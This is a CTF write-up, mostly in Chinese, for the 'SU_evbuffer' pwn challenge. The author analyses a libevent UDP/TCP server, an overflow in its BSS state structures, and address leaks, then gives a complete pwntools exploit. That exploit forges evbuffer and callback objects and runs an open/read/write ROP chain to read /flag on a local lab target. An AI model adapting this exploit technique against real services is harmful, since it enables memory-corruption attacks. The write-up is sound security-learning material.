SU_evbuffer


服务器???
开了8888和8889两个监听端口

socket(2->ipv4,2->UDP,0)

UDP监听,8889


TCP监听,8888
tcp由于稳定大多用于核心业务,udp则是发个小数据包看看服务器在不在之类的
总之udp要的是快,tcp要稳(我在说什么废话)
无论数据从哪个端口进入,最终都会汇聚到 sub_13A4 函数进行处理

sub_12E5开了个seccomp
ban了59和322系统调用


exe是不行了,但是可以orw或者mprotect,sendfile

回调函数sub_1630
我们先看看UDP的callback function

看看sub_1344

看看sub_1318

free(ptr)

malloc(0x50)


leak一下




get libc_base
刚才的不行,我们改一下主机名再看看其它leak的指针
不太得劲,我得换个想法
Obviously, the challenge is fixed with utilization of heap and web server
we also need to learn the structure of libevent

In remote, the hostname is ‘pwn’

难道这leak的addr是完全随机的???

s只有0x70

UDP的回调函数
| sub_1630 参数 |
来源 (从 event_new 传入) |
具体含义 |
**fd** |
fd |
触发事件的文件描述符(即 8889 端口的 UDP Socket)。 |
**a2** |
18LL (0x12) |
触发的事件类型。18 是 `EV_READ (0x02) |
**dest_1** |
**&s_** |
用户自定义参数。在 main 中传入的是全局变量 s_ 的地址。 |

可以接收0x3ff=1023到buf,但buf有1032字节,没有overflow
addr_len = 16是地址长度,ipv4正好是16
看看sub_13a4


dest ->s
s = 0x70
n_max = 1023
也就是说,我们可以覆盖s开始的1023数据

**dest + 32**:对应结构体中的某个标志位。
**dest + 40**:对应一个 bufferevent 指针
可以通过memcpy set dest+32 ==1 and dest+40-> pointer

看看tcp



unk_4078在s_高地址

从 TCP 连接(bufferevent)中读取最多 1023 字节到栈缓冲区 src
dest 传入的是 **&unk_4078**

| 地址 (BSS) |
角色 |
状态 |
**0x4040** |
s_ |
最佳的 Fake Object 放置点(可以通过 UDP 提前布置)。 |
**0x4078** |
unk_4078 |
TCP 状态结构体。 |
**0x4098** |
unk_4078 + 32 |
必须为 1 才能进入漏洞分支。 |
**0x40A0** |
unk_4078 + 40 |
劫持目标(指向伪造对象的指针)。 |
| 绝对地址 |
相对 0x4040 偏移 |
变量含义 |
攻击侧重点 |
0x4040 |
+0x00 |
UDP 结构 s_ 首地址 |
Payload 起点,也是放置 Fake Object 的好地方。 |
0x4070 |
+0x30 |
UDP 监听 fd |
覆盖时需注意,如果填入无效值会导致后续 UDP 发送失败。 |
0x4078 |
+0x38 |
TCP 结构 unk_4078 |
被溢出淹没的目标结构体。 |
0x4098 |
+0x58 (即 +32 ) |
Flag 位 |
**必须被覆盖为 ****1** ,以通过 sub_13A4 的条件检查。 |
0x40A0 |
+0x60 (即 +40 ) |
bufferevent 指针 |
核心劫持点。需要将其覆盖为你伪造的结构体地址(例如 0x4040 )。 |
after hijeck the 0x40a0,

- 获取 output 缓冲区 (解引用你伪造的指针)
output = bufferevent_get_output(*(_QWORD *)(dest + 40));
- 将新分配的堆块 s 挂载到 output 上
evbuffer_add_reference(output, (__int64)s, 80LL, (_int64)free, 0LL);
我们再看看evbuffer_add_reference()函数是干什么的

ok,分析得差不多了
总结一下思路
通过UDP memcpy payload into 0x4040(s_),伪造结构体放ROP(orw),fd,\x90,dest+32=1,*bufferevent->we need pointer
先连 TCP8888。触发 sub_16EA,在 BSS 的 0x4078 生成一个合法的状态结构体
然后用UDP发payload
大致如此

主机名不能太长,不然会出现奇怪的问题
sudo hostnamectl set-hostname shark
用这个改

wc ,拉个docker更稳定

环境问题还是太神奇了

这才对吗,没想到系统版本还会影响数据泄露(今天是跟evbuffer瞪眼的第5天)

我们看看udp和tcp都泄露了什么

we get pie in udp

the libevent_base in tcp

ok
我们看看libevent有什么用


给题目给的libe改一下名,再patchelf,当然直接用本机的libe也是可以的

libe里面还真有gadgets


pwndbg太好用了你知道吗




我还发现了一个问题

多了0x4

ok
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| #!/usr/bin/env python3 from pwn import * context.binary = ELF("/pwn/SU_evbuffer/pwn") libe = ELF("/pwn/SU_evbuffer/libevent-2.1.so.7") libc = ELF("/pwn/SU_evbuffer/libc.so.6") io = remote("127.0.0.1",8889, typ='udp') ip = remote("127.0.0.1",8888, typ='tcp') context.arch = 'amd64' context.log_level = 'debug' payload1 = b"127.0.0.3\x00" #payload1+= b"\x90"*24 #io.send(payload1.encode()) io.send(payload1) data = io.recv(80) print(f"Received {len(data)} bytes") print(hexdump(data)) leak_addr1 = u64(data[0x30:0x38]) leak_addr2 = u64(data[0x38:0x40]) leak_addr3 = u64(data[0x40:0x48]) leak_addr4 = u64(data[0x48:0x50]) leak_addr5 = u64(data[0x28:0x30]) leak_addr6 = u64(data[0x20:0x28]) leak_addr7 = u64(data[0x18:0x20]) print(f"泄露的地址1: {hex(leak_addr1)}") print(f"泄露的地址2: {hex(leak_addr2)}") print(f"泄露的地址3: {hex(leak_addr3)}") print(f"泄露的地址4: {hex(leak_addr4)}") print(f"泄露的地址5: {hex(leak_addr5)}") print(f"泄露的地址6: {hex(leak_addr6)}") print(f"泄露的地址7: {hex(leak_addr7)}") pie_base = leak_addr4 - 0x1619 print(f"PIE地址: {hex(pie_base)}") ip.send(payload1) data1 = ip.recv(80) leak_addr11 = u64(data1[0x30:0x38]) leak_addr12 = u64(data1[0x38:0x40]) leak_addr13 = u64(data1[0x40:0x48]) leak_addr14 = u64(data1[0x48:0x50]) leak_addr15 = u64(data1[0x28:0x30]) leak_addr16 = u64(data1[0x20:0x28]) leak_addr17 = u64(data1[0x18:0x20]) print(f"泄露的地址11: {hex(leak_addr11)}") print(f"泄露的地址12: {hex(leak_addr12)}") print(f"泄露的地址13: {hex(leak_addr13)}") print(f"泄露的地址14: {hex(leak_addr14)}") print(f"泄露的地址15: {hex(leak_addr15)}") print(f"泄露的地址16: {hex(leak_addr16)}") print(f"泄露的地址17: {hex(leak_addr17)}") print(f"Received {len(data1)} bytes") print(hexdump(data1)) libevent_base = leak_addr17 - 0x137d8 print(f"libevent基地址: {hex(libevent_base)}")
io.close() ip.close()
fd = 11 flag_fd = fd + 1 def build_payload(fd, flag_fd): add_rsp_8_ret = pie_base + 0x1012 pop_rdi = pie_base + 0x194B exit_plt = pie_base + 0x11D0 pop_rsp_ret = libevent_base + 0xCF2D pop_rsi = libevent_base + 0xD2E5 pop_rdx_rbx_rbp_r12 = libevent_base + 0x339DD open_plt = libevent_base + 0xCB24 read_plt = libevent_base + 0xC904 write_plt = libevent_base + 0xC714
base_addr = pie_base + 0x4040 fake_bev = pie_base + 0x3F38 fake_ev = pie_base + 0x4140 fake_cb = pie_base + 0x41C0 rop_stack = pie_base + 0x4240 path_addr = pie_base + 0x4380 buf_addr = pie_base + 0x43C0
payload = bytearray(b"\x00" * 0x420) # overwrite Udp payload[:10] = b"127.0.0.1\x00" payload[0x10:0x18] = p64(fake_ev) payload[0x30:0x34] = p32(6) payload[0x58:0x5C] = p32(1) payload[0x60:0x68] = p64(fake_bev)
# fake evbuffer ev_off = 0x100 payload[ev_off+0x10 : ev_off+0x18] = p64(fake_ev) payload[ev_off+0x18 : ev_off+0x20] = p64((pop_rsp_ret + rop_stack - 0x50) & 0xFFFFFFFFFFFFFFFF) payload[ev_off+0x20 : ev_off+0x28] = p64(rop_stack - 0x50) payload[ev_off+0x78 : ev_off+0x80] = p64(fake_cb)
# fake callback cb_off = fake_cb - base_addr payload[cb_off+0x10 : cb_off+0x18] = p64(add_rsp_8_ret) payload[cb_off+0x20 : cb_off+0x24] = p32(1)
rop = [ pop_rdi, path_addr, pop_rsi, 0, open_plt, pop_rdi, flag_fd, pop_rsi, buf_addr, pop_rdx_rbx_rbp_r12, 0x80, 0, 0, 0, read_plt, pop_rdi, fd, pop_rsi, buf_addr, pop_rdx_rbx_rbp_r12, 0x80, 0, 0, 0, write_plt, pop_rdi, 0, exit_plt ] rop_bytes = b"".join(p64(x) for x in rop) payload[rop_stack - base_addr : rop_stack - base_addr + len(rop_bytes)] = rop_bytes path = b"/flag\x00" payload[path_addr - base_addr : path_addr - base_addr + len(path)] = path return bytes(payload)
#flag_fd = fd + 1 payload = build_payload(fd, flag_fd) io = remote("127.0.0.1",8889, typ='udp') ip = remote("127.0.0.1",8888, typ='tcp') io.send(payload) sleep(0.2) ip.send(b"127.0.0.1\x00") out = ip.recv(timeout=2.0) print(out) io.close() ip.close()
|

wc,终于成了